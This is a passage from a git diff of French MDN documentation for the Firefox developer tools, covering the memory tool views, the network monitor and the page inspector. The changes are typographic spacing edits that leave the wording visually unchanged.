<li>Charger la page <a href="https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html">https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html</a></li> <li>Prendre une capture</li> <li>Choisir la vue "Agrégats"</li> <li>Choisir le regroupement par "Call Stack"</li> @@ -106,19 +106,19 @@ original_slug: Outils/Memory/Aggregate_view <p>{{EmbedYouTube("aZ5Rq9lXD80")}}</p> -<p>Quelque chose comme ceci devrait apparaitre :</p> +<p>Quelque chose comme ceci devrait apparaitre :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13040/memory-tool-call-stack.png" style="display: block; height: 322px; margin-left: auto; margin-right: auto; width: 762px;"></p> -<p>Cela révèle que 93% sont allouées par des fonctions appelées depuis "alloc.js", à la ligne 35 (le premier appel à <code>createToolbars()</code>).</p> +<p>Cela révèle que 93% sont allouées par des fonctions appelées depuis "alloc.js", à la ligne 35 (le premier appel à <code>createToolbars()</code>).</p> -<p>Afin de savoir exactement d'où est allouée la mémoire, il est possible de développer la ligne :</p> +<p>Afin de savoir exactement d'où est allouée la mémoire, il est possible de développer la ligne :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13042/memory-tool-call-stack-expanded.png" style="display: block; height: 530px; margin-left: auto; margin-right: auto; width: 762px;"></p> -<p>C'est dans ce cas que les colonnes "Octets" et "Somme" sont utiles. Elles révèlent en effet la taille et le nombre des allocations faites à ce point précis.</p> +<p>C'est dans ce cas que les colonnes "Octets" et "Somme" sont utiles. Elles révèlent en effet la taille et le nombre des allocations faites à ce point précis.</p> -<p>Ainsi dans l'exemple ci-dessus, ile est possible de voir que dans <code>createToolbarButton()</code>, à <a href="https://github.com/mdn/performance-scenarios/blob/gh-pages/dom-allocs/scripts/alloc.js#L9">la ligne 9 de alloc.js</a>, 4002 allocations ont été faites et que cela représente 89% de la heap totale. Il s'agit de l'endroit exact ou les éléments {{HTMLElement("span")}} sont crées.</p> +<p>Ainsi dans l'exemple ci-dessus, ile est possible de voir que dans <code>createToolbarButton()</code>, à <a href="https://github.com/mdn/performance-scenarios/blob/gh-pages/dom-allocs/scripts/alloc.js#L9">la ligne 9 de alloc.js</a>, 4002 allocations ont été faites et que cela représente 89% de la heap totale. Il s'agit de l'endroit exact ou les éléments {{HTMLElement("span")}} sont crées.</p> <p>Les noms de fichier et leur numéro de ligne sont des liens : cliquer dessus ouvrira la ligne en question dans le Débogueur :</p> @@ -128,23 +128,23 @@ original_slug: Outils/Memory/Aggregate_view <p>La vue par défaut est une vue "top-down" : elle affiche les allocations qui arrivent à un point <strong>ou en des points plus loin dans l'arbre</strong>. C'est pratique pour avoir une vue d'ensemble des endroits ou le programme consomme beaucoup de mémoire. Cependant cette vue implique de devoir parcourir un long chemin pour trouver l'emplacement exact d'où les allocations sont faites.</p> -<p>L'option "Inverser l'arbre" aide à résoudre ce problème. Cela donne en effet une vue "bottom-up" du programme, affichant les endroits exacts d'où les allocations proviennent, ordonnés par taille d'allocation. L'icône en forme de triangle fait alors un retour au premier niveau de l'arbre.</p> +<p>L'option "Inverser l'arbre" aide à résoudre ce problème. Cela donne en effet une vue "bottom-up" du programme, affichant les endroits exacts d'où les allocations proviennent, ordonnés par taille d'allocation. L'icône en forme de triangle fait alors un retour au premier niveau de l'arbre.</p> -<p>Voici à quoi ressemble l'arbre après avoir coché l'option "Inverser l'arbre" :</p> +<p>Voici à quoi ressemble l'arbre après avoir coché l'option "Inverser l'arbre" :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13044/memory-tool-inverted-call-stack.png" style="display: block; height: 141px; margin-left: auto; margin-right: auto; width: 762px;"></p> -<p>Maintenant, la première ligne affiche directement l'appel <code>createToolbarButton()</code> qui correspond à l'allocation de 89% de la heap de la page.</p> +<p>Maintenant, la première ligne affiche directement l'appel <code>createToolbarButton()</code> qui correspond à l'allocation de 89% de la heap de la page.</p> <h2 id="(no_stack_available)">(no stack available)</h2> -<p>Dans l'exemple ci-dessus, il y a une ligne nommée "(no stack available)" qui correspond à 7% de la heap. La présence de cette ligne s'explique par le fait que toute l'utilisation de la heap n'est pas due au script JavaScript.</p> +<p>Dans l'exemple ci-dessus, il y a une ligne nommée "(no stack available)" qui correspond à 7% de la heap. La présence de cette ligne s'explique par le fait que toute l'utilisation de la heap n'est pas due au script JavaScript.</p> -<p>Exemples d'usage de la heap non alloué par un script :</p> +<p>Exemples d'usage de la heap non alloué par un script :</p> <ul> - <li>Tous les scripts que la page charge occupent de l'espace dans la heap</li> - <li>Quelques fois, un objet est alloué lorsqu'il n'y a pas de JavaScript sur la stack. Par exemple, les objets DOM {{domxref("Event")}} sont alloués avant que le JavaScript ne soit exécuté et avant que les évènements ne soient appelés.</li> + <li>Tous les scripts que la page charge occupent de l'espace dans la heap</li> + <li>Quelques fois, un objet est alloué lorsqu'il n'y a pas de JavaScript sur la stack. Par exemple, les objets DOM {{domxref("Event")}} sont alloués avant que le JavaScript ne soit exécuté et avant que les évènements ne soient appelés.</li> </ul> -<p>Bon nombre de pages web auront une part de "(no stack available)" bien supérieure à 7%.</p> +<p>Bon nombre de pages web auront une part de "(no stack available)" bien supérieure à 7%.</p> diff --git a/files/fr/tools/memory/dominators/index.html b/files/fr/tools/memory/dominators/index.html index fa5bf3ae9b..65f9a81914 100644 --- a/files/fr/tools/memory/dominators/index.html +++ b/files/fr/tools/memory/dominators/index.html @@ -11,7 +11,7 @@ original_slug: Outils/Memory/Dominators <p>Ces concepts sont importants pour l'analyse mémoire, car souvent, un objet peut être en lui même petit, mais contenir des références à des objets beaucoup plus gros et cela empêche le ramasse-miette de collecter ces objets et de libérer de la mémoire.</p> -<p>Il est possible de voir les dominants d'une page en utilisant la <a href="/fr/docs/Tools/Memory/Dominators_view">Vue "Dominants" </a>dans l'outil Mémoire.</p> +<p>Il est possible de voir les dominants d'une page en utilisant la <a href="/fr/docs/Tools/Memory/Dominators_view">Vue "Dominants" </a>dans l'outil Mémoire.</p> </div> <p>Dans un langage comme JavaScript, les programmeurs n'ont généralement pas à se soucier de la gestion de la mémoire. Ils peuvent simplement créer des objets, les utiliser, et lorsque ceux-ci ne sont plus nécessaires, le runtime se charge de faire le nettoyage, et libère la mémoire que les objets utilisaient.</p> diff --git a/files/fr/tools/memory/dominators_view/index.html b/files/fr/tools/memory/dominators_view/index.html index 202afb5bb6..2886324e92 100644 --- a/files/fr/tools/memory/dominators_view/index.html +++ b/files/fr/tools/memory/dominators_view/index.html @@ -114,7 +114,7 @@ original_slug: Outils/Memory/Dominators_view <p><br> Nous utiliserons <a href="/fr/docs/Tools/Memory/Monster_example">l'exemple d'allocation de monstres</a>. Cet exemple crée trois tableaux chacun contenant 5000 monstres, chaque monstre possède un nom généré aléatoirement.<br> - </p> + </p> <h3 id="Prendre_une_capture">Prendre une capture</h3> @@ -148,7 +148,7 @@ original_slug: Outils/Memory/Dominators_view <p>Ici, il est possible de voir l'objet retenant le tableau; et même qu'il s'agit du tableau de monstres <code>friendly</code>. Dans la capture d'écran ci-dessus, ce n'est pas visible, cependant ce tableau est aussi enraciné directement à la racine GC. Donc si l'objet arrête de référencer le tableau, celui-ci ne serait toujours pas éligible au garbage collector.</p> -<p>Cela veut dire que l'objet ne domine pas le tableau et donc n'est pas affiché dans l'arbre des Dominants. À voir également, <a href="/fr/docs/Tools/Memory/Dominators#multiple-paths">l'article sur le concept des Dominants.</a></p> +<p>Cela veut dire que l'objet ne domine pas le tableau et donc n'est pas affiché dans l'arbre des Dominants. À voir également, <a href="/fr/docs/Tools/Memory/Dominators#multiple-paths">l'article sur le concept des Dominants.</a></p> <h3 id="Utiliser_la_vue_Call_Stack">Utiliser la vue Call Stack</h3> diff --git a/files/fr/tools/memory/monster_example/index.html b/files/fr/tools/memory/monster_example/index.html index 3a9f088605..af8089c076 100644 --- a/files/fr/tools/memory/monster_example/index.html +++ b/files/fr/tools/memory/monster_example/index.html @@ -6,7 +6,7 @@ original_slug: Outils/Memory/Monster_example --- <div>{{ToolsSidebar}}</div><p>Cet article décrit une page web très simple que nous utilisons pour illustrer certaines fonctionnalités de l'outil <a href="/fr/docs/Outils/Memory">Mémoire</a>.</p> -<p>Il est possible de l'essayer sur le site : <a class="external external-icon" href="https://mdn.github.io/performance-scenarios/js-allocs/alloc.html">https://mdn.github.io/performance-scenarios/js-allocs/alloc.html</a>. Voici le code :</p> +<p>Il est possible de l'essayer sur le site : <a class="external external-icon" href="https://mdn.github.io/performance-scenarios/js-allocs/alloc.html">https://mdn.github.io/performance-scenarios/js-allocs/alloc.html</a>. Voici le code :</p> <pre class="brush: js">var MONSTER_COUNT = 5000; var MIN_NAME_LENGTH = 2; diff --git a/files/fr/tools/memory/tree_map_view/index.html b/files/fr/tools/memory/tree_map_view/index.html index 4b2637fd5b..3c3c8662b4 100644 --- a/files/fr/tools/memory/tree_map_view/index.html +++ b/files/fr/tools/memory/tree_map_view/index.html @@ -10,7 +10,7 @@ original_slug: Outils/Memory/Tree_map_view <p>La vue carte proportionnelle fournit une représentation visuelle d'une capture instantané de la mémoire. Cela aide à avoir rapidement une idée de quels objets occupent le plus de mémoire.</p> -<p>Une carte affiche : <a href="https://fr.wikipedia.org/wiki/Treemapping">"Une représentation de données hiérarchiques dans un espace limité" </a>sous la forme de rectangles imbriqués. La taille de ces rectangles correspond à un aspect quantitatif des données (plus c'est gros, plus le rectangle l'est).</p> +<p>Une carte affiche : <a href="https://fr.wikipedia.org/wiki/Treemapping">"Une représentation de données hiérarchiques dans un espace limité" </a>sous la forme de rectangles imbriqués. La taille de ces rectangles correspond à un aspect quantitatif des données (plus c'est gros, plus le rectangle l'est).</p> <p>Pour les cartes affichées dans l'outil Mémoire, la heap (le tas) est divisé en quatre grandes catégories :</p> diff --git a/files/fr/tools/migrating_from_firebug/index.html b/files/fr/tools/migrating_from_firebug/index.html index d3b04d7f95..ef5749ee49 100644 --- a/files/fr/tools/migrating_from_firebug/index.html +++ b/files/fr/tools/migrating_from_firebug/index.html @@ -10,7 +10,7 @@ original_slug: Outils/Migrating_from_Firebug <hr> <div class="column-container"> -<div class="column-third"> </div> +<div class="column-third"> </div> <div class="column-third"> <p><img alt="" src="https://mdn.mozillademos.org/files/15588/logo-developer-quantum.png" style="display: block; margin: 0px auto;"></p> @@ -20,7 +20,7 @@ original_slug: Outils/Migrating_from_Firebug <p><a href="https://www.mozilla.org/fr/firefox/developer/" style="width: 280px; display: block; margin-left: auto; margin-right: auto; padding: 10px; text-align: center; border-radius: 4px; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Télécharger <i lang="en">Firefox Developer Edition</i></a>.</p> </div> -<div class="column-third"> </div> +<div class="column-third"> </div> </div> <hr> @@ -28,11 +28,11 @@ original_slug: Outils/Migrating_from_Firebug <h3 id="Activation">Activation</h3> -<p><a href="https://getfirebug.com/wiki/index.php/Activation">L'activation de Firebug</a> était basée sur des URL respectant la "<a href="https://en.wikipedia.org/wiki/Same_origin_policy">same origin policy</a>". Cela signifie que si vous ouvriez une page de la même origine dans un onglet différent, Firebug s'ouvrait automatiquement. Et lorsque vous ouvriez une page d'une origine différente dans le même onglet, firebug se fermait automatiquement. L'activation des outils de développement est quant à elle basée sur les onglets. Par exemple, si vous ouvrez les outils dans un onglet, ils restent ouvert même si vous naviguez vers d'autres sites. Lorsque vous ouvrez un nouvel onglet, les outils de développement se ferment.</p> +<p><a href="https://getfirebug.com/wiki/index.php/Activation">L'activation de Firebug</a> était basée sur des URL respectant la "<a href="https://en.wikipedia.org/wiki/Same_origin_policy">same origin policy</a>". Cela signifie que si vous ouvriez une page de la même origine dans un onglet différent, Firebug s'ouvrait automatiquement. Et lorsque vous ouvriez une page d'une origine différente dans le même onglet, firebug se fermait automatiquement. L'activation des outils de développement est quant à elle basée sur les onglets. Par exemple, si vous ouvrez les outils dans un onglet, ils restent ouvert même si vous naviguez vers d'autres sites. Lorsque vous ouvrez un nouvel onglet, les outils de développement se ferment.</p> <h3 id="Ouvrir_les_outils">Ouvrir les outils</h3> -<p>Firebug pouvait être ouvert avec F12. Pour l'ouvrir pour inspecter un élément il était possible d'utiliser le raccourci clavier <kbd>Ctrl</kbd>+<kbd>Maj</kbd>+<kbd>C</kbd> / <kbd>Cmd</kbd>+<kbd>Opt</kbd>+<kbd>C</kbd>. Les DevTools partagent les mêmes raccourcis, mais fournissent également des <a href="/fr/docs/Tools/Keyboard_shortcuts#Opening_and_closing_tools">raccourcis pour les différent panneaux</a>. Le <a href="/fr/docs/Tools/Network_Monitor">Moniteur Réseau</a> peut être ouvert avec <kbd>Ctrl</kbd>+<kbd>Maj</kbd>+<kbd>Q</kbd> / <kbd>Cmd</kbd>+<kbd>Opt</kbd>+<kbd>Q</kbd>, la <a href="/fr/docs/Tools/Web_Console">Console</a> via <kbd>Ctrl</kbd>+<kbd>Maj</kbd>+<kbd>K</kbd> / <kbd>Cmd</kbd>+<kbd>Opt</kbd>+<kbd>K</kbd> et le Débogueur avec <kbd>Ctrl</kbd>+<kbd>Maj</kbd>+<kbd>S</kbd> / <kbd>Cmd</kbd>+<kbd>Opt</kbd>+<kbd>S</kbd>.</p> +<p>Firebug pouvait être ouvert avec F12. Pour l'ouvrir pour inspecter un élément il était possible d'utiliser le raccourci clavier <kbd>Ctrl</kbd>+<kbd>Maj</kbd>+<kbd>C</kbd> / <kbd>Cmd</kbd>+<kbd>Opt</kbd>+<kbd>C</kbd>. Les DevTools partagent les mêmes raccourcis, mais fournissent également des <a href="/fr/docs/Tools/Keyboard_shortcuts#Opening_and_closing_tools">raccourcis pour les différent panneaux</a>. Le <a href="/fr/docs/Tools/Network_Monitor">Moniteur Réseau</a> peut être ouvert avec <kbd>Ctrl</kbd>+<kbd>Maj</kbd>+<kbd>Q</kbd> / <kbd>Cmd</kbd>+<kbd>Opt</kbd>+<kbd>Q</kbd>, la <a href="/fr/docs/Tools/Web_Console">Console</a> via <kbd>Ctrl</kbd>+<kbd>Maj</kbd>+<kbd>K</kbd> / <kbd>Cmd</kbd>+<kbd>Opt</kbd>+<kbd>K</kbd> et le Débogueur avec <kbd>Ctrl</kbd>+<kbd>Maj</kbd>+<kbd>S</kbd> / <kbd>Cmd</kbd>+<kbd>Opt</kbd>+<kbd>S</kbd>.</p> <h2 id="Console">Console</h2> diff --git a/files/fr/tools/network_monitor/index.html b/files/fr/tools/network_monitor/index.html index 2f0f0865a0..7c2b96cd5b 100644 --- a/files/fr/tools/network_monitor/index.html +++ b/files/fr/tools/network_monitor/index.html @@ -20,7 +20,7 @@ original_slug: Outils/Moniteur_réseau <p>Il existe plusieurs façons d'ouvrir le Moniteur :</p> <ul> - <li>Utiliser le raccourci clavier <kbd>Ctrl</kbd> + <kbd>Maj</kbd> + <kbd>E</kbd> ( <kbd>Command</kbd> + <kbd>Option</kbd> + <kbd>E</kbd> sur Mac).</li> + <li>Utiliser le raccourci clavier <kbd>Ctrl</kbd> + <kbd>Maj</kbd> + <kbd>E</kbd> ( <kbd>Command</kbd> + <kbd>Option</kbd> + <kbd>E</kbd> sur Mac).</li> <li>Sélectionner "Réseau" dans le menu développement ( qui est un sous-menu du menu "Outils" sur MAC OS X et Linux).</li> <li>Cliquer sur l'onglet "Réseau" dans la boite à outils (appuyer sur F12 pour ouvrir la boite à outils).</li> </ul> diff --git a/files/fr/tools/network_monitor/request_details/index.html b/files/fr/tools/network_monitor/request_details/index.html index de8545744a..d141d1685c 100644 --- a/files/fr/tools/network_monitor/request_details/index.html +++ b/files/fr/tools/network_monitor/request_details/index.html @@ -108,7 +108,7 @@ original_slug: Outils/Moniteur_réseau/request_details <h3 id="Délais">Délais</h3> -<p>L'onglet affiche la séparation entre chaque étape définie dans la spécification de l'<a href="https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html">Archive HTTP</a> : </p> +<p>L'onglet affiche la séparation entre chaque étape définie dans la spécification de l'<a href="https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html">Archive HTTP</a> : </p> <table class="standard-table"> <thead> @@ -123,7 +123,7 @@ original_slug: Outils/Moniteur_réseau/request_details <td> <p>Temps passé dans la file d'attente de la connexion réseau</p> - <p>Le navigateur impose une limite sur le nombre de connexions simultanées qui peuvent être faites à un seul serveur. Dans Firefox, le nombre par défaut est 6. Mais il peut être changé en modifiant la préférence <code><a href="http://kb.mozillazine.org/Network.http.max-persistent-connections-per-server">network.http.max-persistent-connections-per-server</a></code>. Si toutes les connexions sont en cours d'utilisation, le navigateur ne peut plus charger de ressources jusqu'a ce qu'une connexion de libère.</p> + <p>Le navigateur impose une limite sur le nombre de connexions simultanées qui peuvent être faites à un seul serveur. Dans Firefox, le nombre par défaut est 6. Mais il peut être changé en modifiant la préférence <code><a href="http://kb.mozillazine.org/Network.http.max-persistent-connections-per-server">network.http.max-persistent-connections-per-server</a></code>. Si toutes les connexions sont en cours d'utilisation, le navigateur ne peut plus charger de ressources jusqu'a ce qu'une connexion de libère.</p> </td> </tr> <tr> diff --git a/files/fr/tools/network_monitor/request_list/index.html b/files/fr/tools/network_monitor/request_list/index.html index 9c19fb9b25..754202f292 100644 --- a/files/fr/tools/network_monitor/request_list/index.html +++ b/files/fr/tools/network_monitor/request_list/index.html @@ -10,7 +10,7 @@ original_slug: Outils/Moniteur_réseau/request_list <h2 id="Liste_des_requêtes_réseau">Liste des requêtes réseau</h2> -<p>Par défaut, le moniteur affiche une liste de toutes les requêtes faites lors du chargement de la page, à raison d'une par ligne :<img alt="" src="https://mdn.mozillademos.org/files/16258/Network_request_list.png" style="border: 1px solid black; display: block; height: 328px; margin: 0px auto; width: 900px;">Il est également vidé par défaut lors d'un changement de page ou du rafraîchissement de la page. Vous avez la possibilité de modifier ce comportement en cochant "Activer les journaux persistants" dans les <a href="/fr/docs/Tools_Toolbox#Common_preferences">paramètres</a> des outils de développement.</p> +<p>Par défaut, le moniteur affiche une liste de toutes les requêtes faites lors du chargement de la page, à raison d'une par ligne :<img alt="" src="https://mdn.mozillademos.org/files/16258/Network_request_list.png" style="border: 1px solid black; display: block; height: 328px; margin: 0px auto; width: 900px;">Il est également vidé par défaut lors d'un changement de page ou du rafraîchissement de la page. Vous avez la possibilité de modifier ce comportement en cochant "Activer les journaux persistants" dans les <a href="/fr/docs/Tools_Toolbox#Common_preferences">paramètres</a> des outils de développement.</p> <h3 id="Champs_des_requêtes_réseau">Champs des requêtes réseau</h3> @@ -31,10 +31,10 @@ original_slug: Outils/Moniteur_réseau/request_list <ul> <li><img alt="" src="https://mdn.mozillademos.org/files/13136/1x.png" style="height: 17px; width: 17px;">un cercle bleu pour les codes d'information (1XX codes). Cela inclut notamment le code 101 (Changement de protocole) pour les upgrades <a href="/fr/docs/Web/API/WebSocket">WebSocket</a>.</li> - <li><img alt="" src="https://mdn.mozillademos.org/files/10941/200.png" style="height: 17px; width: 17px;"> un cercle vert pour le succès (codes 2XX),</li> - <li><img alt="" src="https://mdn.mozillademos.org/files/10945/300.png" style="height: 17px; width: 17px;"> un triangle orange pour la redirection (3XX)</li> - <li><img alt="" src="https://mdn.mozillademos.org/files/10943/4-500.png" style="height: 17px; width: 17px;"> un carré rouge pour les erreurs (4XX et 5XX).</li> - <li><img alt="" src="https://mdn.mozillademos.org/files/10947/cached.png" style="height: 17px; width: 17px;"> un cercle gris pour les réponses récupérées dans le cache du navigateur</li> + <li><img alt="" src="https://mdn.mozillademos.org/files/10941/200.png" style="height: 17px; width: 17px;"> un cercle vert pour le succès (codes 2XX),</li> + <li><img alt="" src="https://mdn.mozillademos.org/files/10945/300.png" style="height: 17px; width: 17px;"> un triangle orange pour la redirection (3XX)</li> + <li><img alt="" src="https://mdn.mozillademos.org/files/10943/4-500.png" style="height: 17px; width: 17px;"> un carré rouge pour les erreurs (4XX et 5XX).</li> + <li><img alt="" src="https://mdn.mozillademos.org/files/10947/cached.png" style="height: 17px; width: 17px;"> un cercle gris pour les réponses récupérées dans le cache du navigateur</li> </ul> </li> <li><strong>Méthode </strong>: la méthode de la requête HTTP.</li> @@ -43,13 +43,13 @@ original_slug: Outils/Moniteur_réseau/request_list <li><strong>Scheme:</strong> Le "scheme" (https/http/ftp/...) du chemin demandé.</li> <li><strong>Domaine </strong>: le domaine du chemin requis. <ul> - <li><strong></strong>Si la requête utilise le protocole SSL/TLS et que la connexion a une faiblesse de sécurité telle qu'un chiffrement peu solide, une icône en forme de triangle apparaît à côté du domaine. On peut trouver davantage de détails sur le problème dans <a href="/fr/docs/Tools/Network_Monitor#Security">l'onglet Sécurité</a>.</li> + <li><strong></strong>Si la requête utilise le protocole SSL/TLS et que la connexion a une faiblesse de sécurité telle qu'un chiffrement peu solide, une icône en forme de triangle apparaît à côté du domaine. On peut trouver davantage de détails sur le problème dans <a href="/fr/docs/Tools/Network_Monitor#Security">l'onglet Sécurité</a>.</li> <li>Survolez le domaine pour voir l'adresse IP.</li> <li>Il y a une icône à côté du domaine qui donne des informations supplémentaires sur le statut de sécurité de la requête. Voir <a href="/fr/docs/Tools/Network_Monitor#Security_icons">icônes de sécurité</a>.</li> </ul> </li> <li><strong>IP distante</strong>: l'adresse IP du serveur répondant à la requête.</li> - <li><strong>Source</strong>: La cause de la requête, par exemple un une requête XHR, un {{htmlelement("img")}}, un script, etc.</li> + <li><strong>Source</strong>: La cause de la requête, par exemple un une requête XHR, un {{htmlelement("img")}}, un script, etc.</li> <li><strong>Type</strong>: Le <code>Content-type</code> de la réponse.</li> <li><strong>Cookies:</strong> Le nombre de "cookies de requêtes" associés à la requête.</li> <li><strong>Set-Cookies:</strong> Le nombre de "cookies de réponse" associés à la requête.</li> @@ -179,7 +179,7 @@ original_slug: Outils/Moniteur_réseau/request_list <h4 id="Filtrer_par_URL">Filtrer par URL</h4> -<p>Pour cela, il y a une barre de recherche dans la <a href="/fr/docs/Tools/Network_Monitor#Toolbar">barre d'outils</a>. Cliquez à l'intérieur, ou faites la combinaison de touches clavier <kbd>Ctrl</kbd> + <kbd>F</kbd> (ou <kbd>Cmd</kbd> + <kbd>F</kbd> sous Mac) , et saisissez votre recherche. La liste des requêtes réseau sera filtrée en fonction de la chaîne de caractère recherchée, sur les parties concernant le "Domaine" ou le "Fichier".</p> +<p>Pour cela, il y a une barre de recherche dans la <a href="/fr/docs/Tools/Network_Monitor#Toolbar">barre d'outils</a>. Cliquez à l'intérieur, ou faites la combinaison de touches clavier <kbd>Ctrl</kbd> + <kbd>F</kbd> (ou <kbd>Cmd</kbd> + <kbd>F</kbd> sous Mac) , et saisissez votre recherche. La liste des requêtes réseau sera filtrée en fonction de la chaîne de caractère recherchée, sur les parties concernant le "Domaine" ou le "Fichier".</p> <p>{{EmbedYouTube("HUcWOBBhLHg")}}</p> @@ -299,12 +299,12 @@ original_slug: Outils/Moniteur_réseau/request_list <ul> <li>Copier l'URL</li> - <li>Copier les paramètres de l'URL (à partir de Firefox 40)</li> - <li>Copier les données POST (à partir de Firefox 40, uniquement pour les requêtes POST)</li> + <li>Copier les paramètres de l'URL (à partir de Firefox 40)</li> + <li>Copier les données POST (à partir de Firefox 40, uniquement pour les requêtes POST)</li> <li>Copier en tant que commande cURL</li> - <li>Copier les En-têtes de la requête (à partir de Firefox 40)</li> - <li>Copier les En-têtes de la réponse (à partir de Firefox 40)</li> - <li>Copier la réponse (à partir de Firefox 40)</li> + <li>Copier les En-têtes de la requête (à partir de Firefox 40)</li> + <li>Copier les En-têtes de la réponse (à partir de Firefox 40)</li> + <li>Copier la réponse (à partir de Firefox 40)</li> <li>Copier l'image comme Data URI (seulement pour les images)</li> <li>Tout copier en tant qu’HAR (à partir de Firefox 41)</li> <li>Tout enregistrer en tant qu’HAR (à partir de Firefox 41)</li> @@ -351,9 +351,9 @@ original_slug: Outils/Moniteur_réseau/request_list <tr> <td><code>-H</code></td> <td> - <p>Un pour chaque en-tête de requête :</p> + <p>Un pour chaque en-tête de requête :</p> - <p>Si l'en-tête "Accept-Encoding" est présent, la commande cURL inclura <code>--compressed</code> à la place de <code>-H "Accept-Encoding: gzip, deflate"</code>. Cela signifie que la réponse sera automatiquement décompressée.</p> + <p>Si l'en-tête "Accept-Encoding" est présent, la commande cURL inclura <code>--compressed</code> à la place de <code>-H "Accept-Encoding: gzip, deflate"</code>. Cela signifie que la réponse sera automatiquement décompressée.</p> </td> </tr> </tbody> diff --git a/files/fr/tools/page_inspector/3-pane_mode/index.html b/files/fr/tools/page_inspector/3-pane_mode/index.html index 97398e9766..dd4a401052 100644 --- a/files/fr/tools/page_inspector/3-pane_mode/index.html +++ b/files/fr/tools/page_inspector/3-pane_mode/index.html @@ -46,7 +46,7 @@ original_slug: Outils/Inspecteur/3-pane_mode <h2 id="Activer_le_mode_3_panneaux_avant_Firefox_62">Activer le mode 3 panneaux avant Firefox 62</h2> -<p>Dans les versions antérieures de Firefox (mais depuis Firefox 59/60), il est possible d'activer le mode 3 panneaux dans les versions Release/Beta en allant dans about:config et en passant les préférences suivantes à <code>true</code> :</p> +<p>Dans les versions antérieures de Firefox (mais depuis Firefox 59/60), il est possible d'activer le mode 3 panneaux dans les versions Release/Beta en allant dans about:config et en passant les préférences suivantes à <code>true</code> :</p> <p><code>devtools.inspector.split-rule-enabled</code> — Cela active/Désactive le mode 3 panneaux.</p> diff --git a/files/fr/tools/page_inspector/how_to/edit_css_filters/index.html b/files/fr/tools/page_inspector/how_to/edit_css_filters/index.html index 5a9f881510..887c1da4ab 100644 --- a/files/fr/tools/page_inspector/how_to/edit_css_filters/index.html +++ b/files/fr/tools/page_inspector/how_to/edit_css_filters/index.html @@ -6,7 +6,7 @@ original_slug: Outils/Inspecteur/Comment/Edition_filtres_css --- <div>{{ToolsSidebar}}</div> -<p>Les propriétés <code><a href="/fr/docs/Web/CSS/filter">filter</a></code> dans la <a href="/fr/docs/Outils/Inspecteur/UI_Tour#Rules_view">vue Règles</a> ont une icône ronde à fond gris/blanc : </p> +<p>Les propriétés <code><a href="/fr/docs/Web/CSS/filter">filter</a></code> dans la <a href="/fr/docs/Outils/Inspecteur/UI_Tour#Rules_view">vue Règles</a> ont une icône ronde à fond gris/blanc : </p> <p><img alt="" src="https://mdn.mozillademos.org/files/16454/click_to_edit_filter.png" style="border: 1px solid black; display: block; height: 146px; margin-left: auto; margin-right: auto; width: 366px;"></p> diff --git a/files/fr/tools/page_inspector/how_to/examine_and_edit_css/index.html b/files/fr/tools/page_inspector/how_to/examine_and_edit_css/index.html index d2cd4159ae..e011467fae 100644 --- a/files/fr/tools/page_inspector/how_to/examine_and_edit_css/index.html +++ b/files/fr/tools/page_inspector/how_to/examine_and_edit_css/index.html @@ -16,7 +16,7 @@ original_slug: Outils/Inspecteur/Comment/Examiner_et_modifier_le_CSS <p><img alt="" src="https://mdn.mozillademos.org/files/11203/css-overview.png" style="display: block; height: 510px; margin-left: auto; margin-right: auto; width: 588px;"></p> -<p>Une icône d'avertissement apparaitera à coté des styles non supportés ou invalides. Cela peut servir à comprendre pourquoi certains styles ne sont pas appliqués :</p> +<p>Une icône d'avertissement apparaitera à coté des styles non supportés ou invalides. Cela peut servir à comprendre pourquoi certains styles ne sont pas appliqués :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/12189/css-as-authored.png" style="display: block; height: 357px; margin-left: auto; margin-right: auto; width: 588px;"></p> @@ -34,9 +34,9 @@ original_slug: Outils/Inspecteur/Comment/Examiner_et_modifier_le_CSS <li><em>Nom de fichier et numéro de ligne</em>: dans la partie droite, on retrouve un lien vers la règle. Voir <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Link_to_CSS_file">lien vers le fichier CSS</a>.</li> </ul> -<p>Depuis Firefox 52, si un élément à une déclaration <code><a href="/fr/docs/Web/CSS/display">display: grid</a></code>, alors une icône en forme de grille (<img alt="" src="https://mdn.mozillademos.org/files/14524/Screen%20Shot%202016-12-16%20at%2010.51.15%20AM.png" style="height: 22px; margin-bottom: -5px; width: 22px;">) apparait. Cliquer sur cette icône affiche une grille par-dessus la page. Voir <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">examiner les grilles</a> pour plus d'informations.</p> +<p>Depuis Firefox 52, si un élément à une déclaration <code><a href="/fr/docs/Web/CSS/display">display: grid</a></code>, alors une icône en forme de grille (<img alt="" src="https://mdn.mozillademos.org/files/14524/Screen%20Shot%202016-12-16%20at%2010.51.15%20AM.png" style="height: 22px; margin-bottom: -5px; width: 22px;">) apparait. Cliquer sur cette icône affiche une grille par-dessus la page. Voir <a href="/fr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">examiner les grilles</a> pour plus d'informations.</p> -<p>Pour lister les <a href="/fr/docs/Web/CSS/Cascade">user-agent styles</a> (les styles appliqués par le navigateur), il faut activer l'option « Afficher les styles du navigateur » dans les <a href="/fr/docs/Outils/Outils_boite_à_outils#Inspecteur">options des outils de développement</a>. Il est à noter que cette option est indépendante de l'option « Styles navigateur » présente dans <a href="/fr/docs/Outils/Inspecteur/Comment/Examiner_et_modifier_le_CSS#.C3.89xaminer_le_CSS_calcul.C3.A9">l'onglet « Calculé »</a>.</p> +<p>Pour lister les <a href="/fr/docs/Web/CSS/Cascade">user-agent styles</a> (les styles appliqués par le navigateur), il faut activer l'option « Afficher les styles du navigateur » dans les <a href="/fr/docs/Outils/Outils_boite_à_outils#Inspecteur">options des outils de développement</a>. Il est à noter que cette option est indépendante de l'option « Styles navigateur » présente dans <a href="/fr/docs/Outils/Inspecteur/Comment/Examiner_et_modifier_le_CSS#.C3.89xaminer_le_CSS_calcul.C3.A9">l'onglet « Calculé »</a>.</p> <p>Les user-agent styles sont 